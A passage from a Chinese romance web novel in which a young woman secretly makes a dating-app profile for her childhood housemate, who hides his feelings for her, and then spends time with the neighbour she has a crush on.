她想不明白。路明川怎么就这么难哄?给点颜色就要开几十家染坊,给个笑脸他就要蹬鼻子上天。她徐凌音这辈子哄过谁啊,连她妈都说她生来就是块石头,又臭又硬,偏偏到了路明川面前,她愣是把自己的棱角磨圆了又磨。
回到房间的时候,方涵知的游戏邀请已经弹了三条消息过来,一条比一条暴躁。
徐凌音点开胡闹厨房,把方涵知拉进队伍。耳机里立刻传来对方噼里啪啦敲键盘的声音,夹杂着一句:“你还活着呢?我还以为你被路明川那小子给刀了。”
“差不多。”徐凌音有气无力地嘟囔了一声。
这个双人游戏她平时玩得还算顺手,两个人分工合作,切菜、做菜、上菜,配合好了行云流水。可今天她的手好像不是自己的,该切土豆的时候她在发呆,该炸鸡肉的时候她忘记拿锅。
方涵知在另一头忙得焦头烂额。她的厨师小人跑全图去拿食材,累得苦不堪言。
“徐凌音——!”
方涵知的怒吼从耳机里炸开,震得徐凌音耳朵嗡嗡响。
“你再不好好做,出来在国道我们俩互砍,你听见没!”
方涵知的声音像是从牙缝里挤出来的,每一个字都带着杀意。她的厨师小人站在原地不动了,屏幕上的倒计时还在走,但两个人都没再动。
徐凌音回过神,讪讪地笑了笑,“不好意思不好意思,发了个小呆。”
方涵知没说话,但徐凌音能想象到她现在的表情,一定是眯着眼,嘴角往下撇,一副“我信你个鬼”的模样。她们认识这么多年,徐凌音抬一下屁股她就知道要拉什么屎。
“说吧,”方涵知的声音平静下来,语气里带着一种过来人的从容,“你又烦什么。”
知音啊。
徐凌音差点感动得热泪盈眶。她吸了吸鼻子,愤愤地把刚才卫生间里发生的事情又复述了一遍。
“你说他是不是有病?怎么有人上赶着当电灯泡啊!”
方涵知安静地听完,沉默了一会儿。
“路明川一直这么……呃,出其不意吗?你不是说他不爱出门交朋友吗,怎么乐意当电灯泡了?他不是知道你喜欢学长吗?”
“对啊对啊!”徐凌音像找到了组织,声音都拔高了八度,“我就是因为这个所以才百思不得其解啊!”
话落,她没敢捶键盘,只敢转向床铺,一拳砸在柔软的棉被上,发出闷闷的一声响。
方涵知那边传来窸窸窣窣的声音,像是在吃零食。过了一会儿,她打了个响指,声音清脆,隔着耳机都能听出那股得意劲儿。
“我知道了!”
徐凌音屏住呼吸。
“一定是小处男心里不得劲了!”
“哈?”
“你想想啊,”方涵知的声音压低了,带着一种过来人的老谋深算。
“你一个母胎solo,二十年没牵过男人的手,现在眼看着就要跟学长牵手成功了,他肯定不乐意了啊。男生这种生物,自己得不到的也不想让别人得到,尤其是他这种长得好看,又不爱跟人打交道,那肯定心里傲得很。他这是想搅浑你的事,让你继续跟他一样单着。”
方涵知顿了顿,像是在咀嚼自己这番高论的味道,又补充了一句:“我给你说,男生的心机老深了,你别看他们表面上什么都不在乎,其实心里的小九九比谁都多。”
徐凌音完全呆掉,完全没想到居然还有这一面的可能性。
她越想越觉得好像是这么一回事,路明川从小到大都是这样,她的朋友他要掺和,她的活动他要跟着,现在她要谈恋爱了,他也要插一脚。
这可不就是见不得她好嘛!
“你保真吗?”她小心翼翼地问。
“哎——”方涵知拖长了尾音,语气里满是过来人的优越感。
“作为一个高中一年一谈的老手来说,一眼看破。”
一年一谈。
徐凌音在心里默念了一遍这个数字,又默念了一遍自己的战绩——零。
好吧,确实没什么反驳的资格。她心里暗暗想着一定要把陈远舟追到手不可。
“有道理!
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”
她越想越觉得方涵知的推理无懈可击,当即一拍大腿。
“那我给他找个女朋友不就行了吗?到时候读大学一分开,我可就不用管他了,他自己和女朋友甜甜蜜蜜双排去。”
她越想越觉得这是个绝妙的主意。
路明川不是要人陪吗?那就给他找个人陪。最好找个跟他一样清冷的,两个人凑在一起,冷冷清清,正好配一对。或者找个活泼的,把他从那个壳里拽出来,反正不管怎么样,都不需要她徐凌音再来操这个心了。
“你说得轻巧,吃根灯草!”
方涵知一盆冷水泼下来,声音里带着恨铁不成钢的意味。
“你去哪找啊?我倒是知道有不少暗恋路明川的,但是我们班那些女生跟他又不是一个年级的,我没人家联系方式。帮不了你啊,好龟龟,你先自己背上龟壳负重前行一下吧。”
徐凌音咬了咬唇,陷入沉思。
她说得对。
路明川那个人,平时连教室门都不怎么出,活像一尊供在庙里的无悲无喜的菩萨,好看是好看,但谁也不敢轻易上去搭话。暗恋他的人多,敢靠近他的人少,更别说还有什么异性朋友。
手机这时候震了一下,屏幕亮起来,弹出一条消息通知。
徐凌音随手拿起来,余光扫了一眼,下意识就要长按点那个“TD退订”,这是她多年养成的习惯,垃圾短信一律退订加删除,绝不多看一眼。
但她的手指悬在屏幕上方,僵住了。
因为那则短信写着:
[“朋友圈都在晒娃了,你还在晒自拍?加入我们这个大家庭,下一个晒合照的就是你!]
她的目光在这行字上停留了三秒。
她鬼使神差地看了一眼门口,好像怕路明川下一秒会出现在那里似的。确认门关得严严实实,她才把手机转过来,指尖悬在那个链接上方。
没事的,没事的,她就看一眼。就一眼。
App下载得很快,几乎几秒钟就安装好了。徐凌音吞了吞口水,像是打开了什么新世界的大门,粉色的主页面跳出来,帅哥美女的照片哗啦啦地蹦,看得她眼花缭乱。
下载的速度很快。进度条像离弦的箭一样蹿过去,几秒钟的时间,一个粉色的图标就安安静静地躺在了她的手机屏幕上。
粉色的主页面跳出来,像一朵突然绽开的花。帅哥美女的照片铺了满屏,有人对着镜头比心,有人侧着脸露出下颌线,有人在健身房里秀腹肌。各种风格,各种类型,像一间琳琅满目的超市,只等着人来挑选。
徐凌音手忙脚乱地点了跳过,然后进行注册环节。
路明川的手机号?不行不行,那也太明目张胆了。她可不想明天被路明川拎着衣领问“这是不是你干的”。她自己的手机号倒是可以,反正到时候真出了什么事,她可以死不承认。
昵称那一栏,她大手一挥,唰唰唰打下几个字:
昌光一中第一深情.(扛把子版)
照片才是最关键的环节。
她打开相册,翻出路明川的照片。没有正面照,除了两人合照以外,路明川几乎不爱拍照,也不允许别人拍她,唯独徐凌音是个例外。
图册里大多是侧颜或者低头做题时被偷拍的,脸上多少有点遮挡。
她挑了三张最好看的,点开醒图,认真地P了起来。
调色、加滤镜、调光影,把氛围感拉到最满,把每一张照片都修得像是电影截图。那种清冷的、疏离的、让人想靠近又不敢靠近的味道,被她用软件一点一点地烘托出来,像是给一幅素描上色,每一笔都小心翼翼。
修完最后一张,她退出来看了一眼效果。氛围感男神的气息挠的一下就上来了。
帅哥是永远不缺人爱的。
这句话徐凌音在无数地方都验证过,食堂里、操场上、走廊尽头。只要路明川出现的地方,总会有女生的目光追过去,像向日葵追着太阳。
而在这个粉色的App里,这句话同样成立。
几乎是发布成功的瞬间,私信消息栏那里就弹出了数字,然后那个数字开始疯了一样地跳动,红点像一朵炸开的烟花。
徐凌音瞪大眼睛,嘴角不自觉地翘起来。路明川果然还是太抢手了!
她一条一条地翻看私信,不是同城的不要,异地恋太麻烦了,万一路明川被骗了她还得负责;年龄太小的不要,她可不想被人说拐卖未成年;照片看着像坏姐姐的也不敢要,虽然徐凌音很心动,怕把路明川当狗玩了。
她只是想给路明川找点事做,又不是想给他找麻烦。
千挑万选,精挑细选,翻过了无数条私信之后,徐凌音筛出了十来张照片,然后点开消息框。
10. Chapter 10
徐凌音兴冲冲地准备发问候语,但手指悬在键盘上好一会儿也没有落下。
这种事情,要是背着路明川偷偷阴着来,但凡被发现,估计就不是送一束手作的干花那么简单了。
一想到这儿,她就如同干花一样迅速萎了,整个人肩膀也怂了下去,活像一只被戳破了的气球,连呼吸都变得有气无力。
夏夜残留着白日的余热,闷闷地压在窗户上。窗外传来锅碗瓢盆的碰撞声,伴随着电视机里偶像剧的男女主在雨中歇斯底里地告白,时不时还夹杂着隔壁阿姨辅导孩子作业时发出的怒吼,所有混乱的声音拼凑出黏腻的夜晚。
徐凌音麻溜地爬下床去,趿拉着拖鞋在房间里转了两圈,又不好意思亲口问,于是她又麻溜地爬上床,把被子扯到下巴,点开消息对话框。
徐凌音:[小耳朵,没睡吧?]
路明川:[我没养生的习惯。]
徐凌音愣了一下,看了一眼时间——晚上九点整,她扯了扯嘴角。
徐凌音:[现在进行一个深夜采访。]
路明川:[说。]
徐凌音翻了个身,挠了挠大腿:[话题也比较“深夜”噢。]
主题不明的话让另一头的路明川沉默了好一会儿。
他正靠在床头,手机屏幕的光映在脸上,把那副立体的眉眼照得棱角分明。他犹豫了。
路明川:[睡了。]
徐凌音:[别躲在里面不出声,我知道你没睡!]
路明川:[你问。]
徐凌音做足准备,把编辑好的话立马点了发送:[你想不想谈恋爱。][可怜emoji.][鲜花emoji]
发送出去的那一瞬间,她的心跳莫名快了一拍,这种情形像是她在向他表白一样奇怪。
想到这股别扭劲,徐凌音把手机翻过去扣在被子上,深吸了一口气,又翻过来看了一眼,消息已经发出去了,收不回来了。
路明川:[不懂。]
徐凌音瞪圆了眼,盯着屏幕上那两个字看了足足十秒。
不懂?
她觉得方涵知那句评价真是精准,万年纯情小处男,真傻啊。
徐凌音越想越觉得有道理。路明川这个人,高中三年,所有女生给他递的情书他都是再拿给徐凌音,让她帮忙递回去,次数一多,就再没女生递情书了。
就这种人,怎么会懂谈恋爱呢?
徐凌音越发觉得自己做的这个事情简直是拯救路明川于水火之中。以后路明川结婚了,她一定要在红包上写:不忘记是我把你从母胎单身的深渊里捞出来的。
她急忙穿好拖鞋就往路明川房门口走。走廊的灯坏了一盏,剩下那盏发出昏黄的光,把她的影子拉得又长又淡。她敲了一下门示意自己进来,然后下一秒火速推门冲了进去。
半躺在床上的路明川弯着腿,被子被顶出一个帐篷的弧度。
毫无准备的他看见徐凌音的那一瞬间,脸上第一次出现了冰山破裂的表情,像是被人往平静的湖面扔了一颗石子,涟漪以肉眼可见的速度扩散开来。他下意识地往墙角靠了一点,眉眼间浮上一层不耐,嘴角微微向下撇。
“你怎么招呼不打就进来?”
那语气冷冰冰的,和平时没什么两样,他和谁说话都是这种语气,但是和他一起生活了十三年的徐凌音还是察觉到一丝丝不对,总觉得听上去有点慌张。
她说不清,她也没心情去理清。
徐凌音向来不把他的生气放眼里,从小到大她早习惯了。
路明川这个人,嘴上说着“别烦我”,实际上你要真不烦他了,他又会默默出现在你旁边,也不说话,就杵在那儿,像一棵长错了地方的树,等着你去烦他。
她拉过一个枕头抵着床头,然后靠了上去。两人中间拉开的距离还能再睡下两个人。
她看见路明川把被子又往上拽了拽,甚至还把自己捂实了,仿佛里面藏了什么见不得人的宝贝一样。
路明川的目光放在前方,定定地看着对面墙上的一幅画,那是徐凌音小学时画的,歪歪扭扭的向日葵,两个小人手牵手站在花海里,虽然丑但一直挂在他房间里没摘下来过。
而徐凌音的视线却一直盯着他抓着被子的手看,不知道为什么,此刻正把被子攥得死紧,指节都有些泛白,青色的脉络沿着手背延伸开。
她起身想上前扒拉,“你藏什么呢。”
路明川果断地往旁边再靠过去,后背几乎贴上了墙壁。他的音量低了一些,听上去力气像是不足似的,却依旧带着警告的意味。
“徐凌音,男女有别。”
“噢。”
徐凌音知道,她当然知道。
在某天下午不小心看见路明川脱掉上衣换衣服、她无端红了脸慌忙别过头去的时候,她就知道这一点。心跳不受控制,她当时觉得自己可能是中暑了。
但是,她又没碰他啊!更何况两人还那么熟!装什么装!
徐凌音才不跟他就着这个没有主题的话聊,而是立马进入她想聊的那个话题。她看着路明川的眼神还不怎么聚焦似的,只好伸手去戳他的手臂,想把他的注意力拉过来。
指尖碰到他皮肤的那一瞬间,她感觉他微微僵了一下。
“欸欸,你说不懂是什么意思啊。”
“字面意思。”
“噢。”
直犯嘀咕的徐凌音皱起清秀的眉头,眉间挤出两道浅浅的纹路。不是,这样说来她也不是很懂了。
“嗨呀,谈恋爱有什么不懂的。”徐凌音咳嗽两声清嗓子。
路明川扭过头来。
“比如可以牵手啦...”他的目光落在她比划着的那双手上,纤细匀称,指腹饱满得像是刚剥开的荔枝。手腕内侧那颗棕色的小痣,就长在皮肤最薄的地方。
"比如亲亲..."他盯着她一张一合的唇。粉润,饱满,说话时上唇会微微翘起来,像熟透的樱桃,咬一口大概会流出汁水。
"还可以贴贴抱抱。"
他移开了目光。她说话时小动作多,搭在床边的一条腿晃来晃去,在灯光下白得晃眼。小腿纤细但不干瘪,踝骨微微突出,像一颗小小的石子。棉质背心软塌塌地垂着,该有的起伏一样不少,而她的身形骨架又小,倒很适合抱在怀里。
路明川收回目光,喉结不明显地滚动了一下。
许久没得到周边人的回应,徐凌音突然觉得自己像在唱独角戏一样无聊。她侧过脸去看路明川,脸上故意带着些怒气,像是炸了毛的小猫,腮帮子微微鼓起来。
“你到底有没有认真在听我说话!”
路明川垂下眼别开,睫毛在眼底投下一小片扇形的阴影。
“嗯,在听。”
“我刚才说什么了,你给我复述一遍,少一个字你今晚都别想睡。”
路明川缓慢地眨了一下眼,那劲头像是在认真回顾一样。徐凌音恍惚间觉得他这个样子,很像高中时他慢条斯理地给她梳理思维导图时的神情。
只不过,他说出的话,是要被教导主任拉去谈话的。
“你说,可以牵手然后拥抱,最后接吻,最后的最后……”
徐凌音越听越奇怪,最后的最后是哪一步?她刚才说过了吗?
她听到路明川的呼吸音重了一些。
“最后的最后,就可以躺在同一张床上。”
话落,他看了一眼徐凌音,又看了一眼两人身下的这张床。
徐凌音的视线顺着看过去,床单是浅灰色的,被子的褶皱还留着刚才他蜷缩的痕迹。这张床她小时候也睡过,那时候两个人还小,挤在一起看动画片,谁也不觉得有什么。现在突然觉得这张床好像变小了,小到连空气都变得稀薄。
“然后呢。”
路明川没有再出声,只是做出了无声口型,嘴唇由大到小地闭合,最后一声像是叹气。
那口型太明显了,明显到徐凌音想装作看不懂都不行。
她的脸像是炸开的番茄一样爆红,从脸颊一直烧到耳根,连脖子都染上了一层薄薄的粉色。她下意识地抓起身边的枕头就往路明川身上砸过去,枕头砸在他肩膀上。
“路明川,你好变态。”
“你
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大晚上来和我说这个你不变态。”
“我那是关心你的人生幸福好吗!”
“我不也是在说幸福吗。”
“我说的是这个吗!”
路明川笑着抬手去捏她的脸,脸颊被捏起自然地夹住嘴唇,让她说不不出完整话,只能发出“呜呜呜”的声音,像一只被拎住后颈的猫。
他的食指放在自己的唇上,然后“嘘”了一声,嘴角的弧度还没收回去。
“你小声一点,你要把阿姨叔叔引过来吗。”
这话说得,不知道还以为他们俩不睡觉,在这儿做什么见不得人的事情。
徐凌音推开他的手,揉了揉被捏红的脸颊。
“哎呀。我说真的,你到底想不想谈恋爱,我刚才和你介绍了那么多,你有没有一点心动。”
“岂止一点。”
闻言,徐凌音顿时露出一双星星眼,眼睛亮得像两颗刚被擦洗过的玻璃珠,里面倒映着台灯暖黄色的光。
“真的吗真的吗,那你要不要谈。”
路明川却没回复她,只是对上她的眼睛。没有一点杂质的干净。她看着他时的表情总是这样,坦荡的、明亮的、毫无防备的。
她的瞳孔里映着他的倒影,小小的,缩成一个模糊的轮廓,仿佛她的世界里只能容纳下他一个。
他滚了一下喉间,从嗓子深处挤出来话音。
“不懂,和谁谈?”
“欸哟哟,我就知道你还是春心萌动的对不对。”
不知道什么时候,她已经从床的另一边挪到了他附近,膝盖几乎要碰到他的腿。徐凌音的唇角扬起,弧度里带着一点得意和一点神秘。
她伸出手指,指向自己。
路明川的眼皮微微抬高,眼下的那颗红痣似乎都显得更艳了一点,像是被人用手指轻轻摁了一下,晕开一小片绯色。
他的呼吸放得很轻很轻,轻到几乎听不见。
“我——”
路明川的瞳孔微微收缩,心脏在那个字的尾音里重重地跳了一下。
“我帮你!”
靠!徐凌音说话居然大喘气!
路明川差点被气死!
他的脸色迅速冷了下来,像是有人在一瞬间拉上了一道窗帘,把所有光线都挡在了外面。他抓着被子翻了个身背对徐凌音,动作大得床垫都震了一下,被子被他扯过去大半,露出一截空荡荡的床单。
还处在和谐气氛的徐凌音感受到这突如其来的变化,一脸懵地看着他的后背,宽肩窄腰,背脊的线条隔着T恤若隐若现,微微弓着,像一只蜷起来的刺猬。
她去推路明川的后背,手指碰到他脊柱的位置,感觉他僵了一下。
“小耳朵,你怎么又不说话了,我说错话了吗?”
“没有。”
短短两个字像是充满了滔天怨气一样,从牙缝里挤出来。
徐凌音更茫然了。她立即发挥自己高考640分的大脑疯狂运转,像一个高速旋转的齿轮,咔咔咔地转了好几圈,而后一个灯泡在脑海里“叮”地亮了起来!
“噢,你是不是不想让我帮你啊。”
路明川在另一头闭上眼,俨然一副不想再跟徐凌音继续说下去的意思。
沉默就是回答。
徐凌音依旧追着他,手指在他背上戳了两下,“那你就明说啊,我不帮你不就行了,我让方涵知帮你?你是不是怕我给你介绍,到时候掌握你的秘密尴尬啊。我又不会笑你,多大点事儿啊。”
“我不需要,不想谈。”
“你刚才还说你春心萌动来着,你又不谈了。啧啧啧,男人啊,真难猜。”
徐凌音跳下床去,拖鞋在地上发出“啪嗒”一声。她边绕过床边说,尾音都是飘的,像一只在花丛间飞来飞去的蝴蝶。
“你放心好啦,这个愿望呢我会帮你实现的,我们俩谁跟谁啊。你等我好消息吧。不对,我等你好消息。”
本来一开始还紧张,但知道路明川不排斥谈恋爱就烟消云散了,她蹦跶着回了自己的房间,走廊里回荡着她轻快的脚步声,像一串散落的珠子。
11. Chapter 11
徐家向来醒得早。
葛芳在中学教了十几年书,比太阳都勤快些。没课的日子,她就拎着扫帚把前院的水泥地扫得簌簌响,再拧开水龙头冲洗台阶上的青苔痕迹。水声、扫帚声、偶尔碰倒花盆的声响,便成了徐家每个早晨固定的背景音。
徐凌音是被一阵哗啦啦的水声吵醒的。
她从床上翻了个身,把脸埋进枕头里,企图用这种方式把意识重新按回睡眠深处。昨晚为了挑那组照片,她在电脑前坐到凌晨三点,最后只剩下几张,困得眼睛都快睁不开才爬上床。
她又在床上赖了七八分钟,直到院里的水龙头拧紧后发出一声金属的闷响,四周忽然安静下来,她反而彻底清醒了。
徐凌音认命地坐起来,头发乱得像是被风吹过的鸟窝,一缕翘在头顶,一缕贴在脸颊边。
她换了身家居服推门出去,迷迷糊糊地往卫生间走,电动牙刷刚塞进嘴里,余光扫过餐厅时,整个人像被按下了暂停键。
路明川坐在餐桌前。
他背对着走廊的方向,一手捏着油条,一手划着手机,面前的白瓷碟里还剩半根,豆浆的热气从碗口升起来,模糊了他的侧脸轮廓。
路明川向来没有起早的习惯,这好孩子就是爱赖床,今天属于是破天荒了。
徐凌音的牙刷还在嘴里嗡嗡震着,她愣了一下,随即加快了手上的动作,胡乱在口腔里捅了几下,吐掉泡沫,用帕子抹了把脸,连镜子都没来得及照,转身就出了卫生间。
她拉开路明川旁边最近的椅子坐下,椅子腿在地砖上刮出一声短促的响。
路明川咬着油条,侧头看了她一眼。
徐凌音的瞌睡在这短短一秒内消失得干干净净。
她感觉到心跳快了一拍,喉咙里泛起一种微妙的紧张感,一想到接下来要做什么就有点心虚,她垂下眼,装作若无其事地伸手,从桌上的盘子里捧了一小碟切好的油条放在自己面前,手指捏着筷子,却没急着动。
“早。”
路明川的动作停了一瞬。他转过头,正正经经地看了她一眼,在他的记忆里,徐凌音主动跟他打招呼的次数约等于零。
他挑了下眉,没接话,低头喝了口豆浆。
徐凌音没被他的沉默劝退。她把椅子往他那边挪了一点,椅腿又发出一声短促的摩擦。
路明川余光瞥见两人的膝盖快要抵上,没动,也没躲。
徐凌音抢在他开口之前把手机掏了出来,解锁,翻相册,动作一气呵成。她把手机举到他面前,语气刻意放得松散,像是随口提起一件无关紧要的小事。
“这个女生长得挺好看。”
路明川没去看。
他只是不动声色地把自己的椅子往旁边挪了半寸,低头继续吃油条。
徐凌音追着贴过去,手指在屏幕上滑动,翻到下一张。
“这个呢,笑得多好看啊,这卧蚕多可爱。”
路明川还是没看。
他放下筷子,抬手,指尖落在她头顶,那缕翘了一早上的呆毛被他轻轻压下去,然后又继续吃早餐。
毫无察觉的徐凌音不死心。她又滑了一下,翻到第三张。
“这个这个,怎么样?”
这次路明川的手伸过来了。
徐凌音心里一跳,终于有合他眼缘的了?她甚至下意识地把手机往他那边送了送,方便他拿过去看。
结果路明川的手越过她的手指,直接握住手机,拇指长按侧键。
屏幕一黑。
关机的手机被扔到了沙发上,在软垫上弹了一下,滑到靠垫缝隙里卡住。
徐凌音瞪着他,眼睛圆圆的,像只被抢了鱼的猫。
“你小子眼光还挺高,怎么什么都不喜欢啊。”
路明川幽幽地看了她一眼。
“我还好奇你怎么什么样的人都喜欢。”
“你这话什么意思!”
琢磨出点意思的徐凌音脸上腾地烧起来,她整个人扑过去,手臂朝他脖子环过去,摆出一副要锁喉的架势。
这是她从小到大对付路明川的固定招数,十次里有九次半都会被他化解,但她从不吸取教训。
路明川往后一靠,椅背承受了他大半的重量,堪堪躲过她的手臂。在徐凌音重心不稳往前栽的瞬间,他伸手扣住她两只乱挥的手腕,往怀里一带,力道不重,但极准,像收网一样利落。
徐凌音还没来得及反应,整个人就被他打包,然后放到了沙发上。
她的头发散了一脸,狼狈得像只被人从窝里拎出来的兔子。她挣扎着要坐起来,手肘撑在沙发上刚支起半个身子,路明川就压下来了。
他的双手抵在沙发靠背上,正好将她圈在原地。
不是触碰,是包围。
他的手臂像两条界线,把她的左右两侧封死,她可以往前,但往前就是他的胸口,也可以往后,可惜往后就是沙发靠背。她选择了往后仰躺,后背陷进软垫里,下巴扬起,露出纤细的脖颈和一张因为恼怒而微微发红的小脸。
她还不忘握起拳头去捶他的胸口,一拳落在锁骨下方,力道对路明川来说大概跟挠痒差不多。
“你对我的终身大事这么感兴趣啊,徐凌音。”
他低着头看她,声音压得很低,像是从胸腔里滚过一遍才吐出来的。
她偏过头,不敢跟他对视,小脸仰起,故意做出一副神气十足的样子,嘴角翘得高高的,用吊儿郎当的语气把心虚裹了个严实。
“毕竟我也在这个巷子里罩了你十来年不是,这点小事顺手而已。”
路明川盯着她看了两秒。
然后他笑了。从鼻腔里溢出来的两声哼笑,短促、低沉,带着一点说不清道不明的意味。
“你挺善良。”
他松开手,直起身,退后两步,重新坐回餐桌前,拿起已经凉了的豆浆喝了一口,好像刚才什么都没发生过。
徐凌音从沙发上坐起来,头发更乱了,呆毛又张牙舞爪地翘起。她瞪着他的背影,张了张嘴,想说什么,又咽了回去。
沉默了几秒,她重新把手机从沙发缝里抠出来,长按开机。
屏幕亮起来的时候,路明川的声音从餐桌那边飘过来,漫不经心的。
“今天怎么不跟你的学长哥哥出去约会了。”
他不提还好,一提徐凌音就来气。
她啪地把手机扣在沙发上,转过头瞪他。
这狗子居然还敢提!
他好意思当电灯泡夹在他们俩中间,徐凌音还不敢带他一起呢。三人行,玩什么燃冬啊。
这几天,徐凌音本想像以前一样趁路明川不在客厅的时候溜到隔壁去找陈远舟玩,但路明川防她跟防贼似的,一天没事就坐客厅里玩switch,屏幕上亮着游戏界面,手柄按得咔咔响,眼睛却总能在她路过玄关的瞬间精准地扫过来。
要不就是主动约陈远舟去打篮球,两个男生在球场上跑得满头大汗,徐凌音站在场边递水都递不进去,只能干瞪眼。
她已经好几天没跟陈远舟单独说过话了。
每次她装着没事干去玄关换鞋,弯腰系鞋带的动作慢得像在拍慢镜头,心里盘算着待会儿用什么借口出门。
每每一站直、转过身,就能对上路明川直勾勾的眼神,他手柄都不按了,就那么靠在沙发上,两条长腿交叠搭在茶几上,下巴微抬,语气平淡得像在报天气预报。
“你去哪。”
要是说去找同学朋友,路明川就说他也要去见老同学,徐凌音在心里翻白眼,他一个上学路上跟同学碰面都懒得点头打招呼的人,想谁啊?一毕业就想上了?徐凌音觉得简直见鬼。
但要是说去见陈远舟,路明川的反应速度比她还快。他放下手柄站起来,手机钱包钥匙三件套十秒内就能备齐,不知道的还以为是他急着去找陈远舟打篮球。
好几次,他就换好鞋站在门口等她,还催她快点。
最后徐凌音只能败下阵来,摆摆手,弯腰把刚系好的鞋带又解开,拖鞋重新套上,说不去了。
然后她就听见路明川在她身后轻轻“嗯”了一声,拖鞋踩在地板上往回走的声响,不疾不徐的,像一只餍足的猫。
*
继上次葛芳做了红糖麻花之后,她最近又迷上了烤饼干。
但烤箱的温度和网上教程总是有些出入,烤出来的颜色又不均匀,深一块浅一块的,卖相不好看。
葛芳是个较真的人,烤了一批又一批,非要找到那个完美的温度不可。于是冰箱里便堆了一盒又一盒的饼干,等着被消灭。
“徐凌音!”
“诶!”
葛芳从厨房探出头,手里提着一个打包好的塑料盒递给徐凌音,透明盒盖下是码得整整齐齐的饼干,没有烤糊。
“你看着送给隔壁哪家吃吧。这样吧,送给对门,他们家小孩多,应该喜欢吃饼干。”
徐凌音接过盒子,转了转眼珠子。
她的眼睛圆润,眼尾微微上挑,转起来的时候透着一股子狡黠劲儿,像只打好了算盘的猫。
她一侧身钻进厨房,反手把门掩上,压低了声音,生怕被客厅里的人听见。
“不如送给隔壁阿婆吧。”
葛芳一脸匪夷所思,“你怎么想的,一个老人家吃什么饼干啊,牙口又软,咬得动吗。”
“正是因为牙口不好,所以多吃点偏硬的练一下嘛。”徐凌音说得理直气壮,下巴微扬,一副头头是道的样子,“再说了,泡泡牛奶照样好吃啊。”
葛芳被她这套歪理噎得说不出话,一时间竟找不到反驳的角度。
“随你便。”
徐凌音立即抱着饼干盒推开厨房门,三步并作两步蹿过走廊,拉开大门就冲了出去。门在身后合上的声音清脆利落,带着一股子生怕被叫回来的慌张。
这动静不大不小的,路明川放下手柄,转头看向厨房门口愣着的葛芳。
“阿姨,怎么了。”
“没事,没事。”
隔壁陈远舟家的大门还是像往常一样虚掩着。但徐凌音还是象征性地在门框上叩了两下,然后才推门进去。
陈远舟刚好从屋里出来,手里端着一个果盘,看见她的时候微微愣了一下,随即笑了。
“我还说是谁呢。”
徐凌音把饼干盒放在院子的小石桌上,“我妈做的饼干,吃了的话记得给个五星好评,让她有动力继续做。”
陈远舟笑着应了一声。也把手里的果盘放过去。
“刚洗好的葡萄,来吃点?”
徐凌音没客气,伸手摘了一颗塞进嘴里。她满足地眯了眯眼,然后熟门熟路地拉过一把小板凳坐下,两条腿随意地伸展开,整个人松弛得像坐在自己家里。
“学长,你们什么时候开学啊。”
“八月底,不过我会提前一点回去处理事情。”
“什么事情啊。”
“新生入校,要提前准备学生会部门招人的事情。”
徐凌音把小板凳往前挪了一点,膝盖几乎要碰到他的椅子腿。
“其实我一直很好奇,高中和大学生活差距大吗。”
陈远舟顿了一下,
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想了想。
“大吧。各方面都不一样,包括人际相处也不同。总觉得像是隔了一层膜一样,你在高中时候跟同学之间的关系很直接,喜欢就一起玩,不喜欢就少说话,但大学里大家的距离感很奇怪,近也不近,远也不远。大多也仅限于室友或同学关系,真正能交心的不多。”
“那交朋友好交吗?我之前刷手机的时候就总会看到一些什么为了利益然后背刺、举报、互撕之类的。真的假的?”
“当然是有的。至于概率的话我不清楚,每一届的学生都不一样,你被分配到的班级和寝室氛围也很关键,没有绝对的黑和白。”
“交朋友不是个轻易的事情,尤其是真心朋友。其实大多数人最后还是跟初高中玩的那一批关系最好。我更多接触到的是学生会的同学,虽然有时候也会约出去玩,一起吃饭看电影什么的,但是我想毕业之后大概是不会有太多交集的。”
他说着,酒窝又跟着笑露出来,“如果是结婚要找我随份子当我没说。”
徐凌音被他这句话逗得弯了弯嘴角,但现下又不自觉地想起高中的一件事,眼里的笑意都淡了不少。
现在听到陈远舟这么说,她对大学集体住宿的焦虑又冒了上来。她初高中都是走读,从来没有住过校,连跟人共用一间卧室的经验都没有。
想到要跟三个陌生人挤在一个十几平米的房间里,作息、习惯、隐私全都要互相磨合,她就觉得头皮发麻。
她把凳子又往前扒拉了一点,几乎要坐到陈远舟对面去。
“让你给大学生活打星,你会打几星?”
“五星,但分期付款。”
“大学的累和高中的累不一样,说不上来,是一种耗掉心力的感觉。有时候明明没做什么,却觉得被掏空了。每一件事都需要你自己去做决定,没有人告诉你对错,也没有人告诉你该往哪走。”
他说完,看了她一眼,注意到她微微蹙起的眉头和抿紧的嘴唇。
“你很感兴趣吗?”他的语气变得轻快了一些,像是要帮她从那种沉甸甸的情绪里捞出来,“要不要给你聊点大学里面好玩的事情,各种活动和有意思的课程。”
“可以吗?”徐凌音的眼睛倏地亮起来,头点得像小鸡啄米,“想听想听。”
她整个人往前倾,双手撑在膝盖上,眼里又充满了好奇和期待的光。
“嗯?”
陈远舟正要开口,目光忽然越过她的头顶,看向她的身后。
“你什么时候来的?”
徐凌音顺着他的视线转过身去。
在黏稠而沉闷的空气里,她的目光和路明川的撞在了一起。
他就站在院门口,不知道站了多久。
傍晚的光从他身后打过来,把他的轮廓勾成一道暗色的剪影。脸隐在逆光的阴影里看不清表情。
他一只手插在裤里,另一只手垂在身侧,站姿看起来很随意,像是路过顺便拐进来的。
徐凌音冷不丁地在白昼里打了个寒噤,后背蹿起一阵凉意,顺着脊柱爬到后脑勺。
这路明川怎么像鬼一样,悄无声息就冒出来了。
“你怎么来啦?”她的声音比预想的要高一些,带着一种心虚的轻快。
路明川走进来。
他的步子不快,每一步都踩得很实,目光从进门的那一刻起就没有离开过徐凌音。
他走到她面前站定,低头看着她,语气柔得像绷紧之前的弦。
“阿姨叫我带你回家吃饭。”
徐凌音下意识地抬头看了一眼天空。
来的时候还是晴空万里,阳光白晃晃地晒着,热得人后背出汗。现在天色已经暗下来了,西边的云被烧成了一片浓烈的橘红色,浓稠得快要滴下来。
她理了理衣摆,慢吞吞地站起来,动作里带着一万个不情愿。
“我先回家啦,下次见!”她冲陈远舟挥了挥手。
陈远舟站起来,把最后一颗剥好的葡萄塞到她手心里,指尖碰了碰她的掌心,温热的。
“嗯,下次见。”
两人一前一后走出院门。
巷子很窄,两个人并排走都有些勉强。徐凌音刚要把葡萄送进嘴里,就察觉到一道视线落在自己手上,准确地说,是落在葡萄上。
她抬起头,路明川正看着她手里的那颗葡萄。她忽然觉得有些烫手。于是很大方地递出去。
“给你吃?”
路明川别过头。
“不要。”
徐凌音扁了扁嘴,把葡萄收回来塞进自己嘴里。
“好吧。”
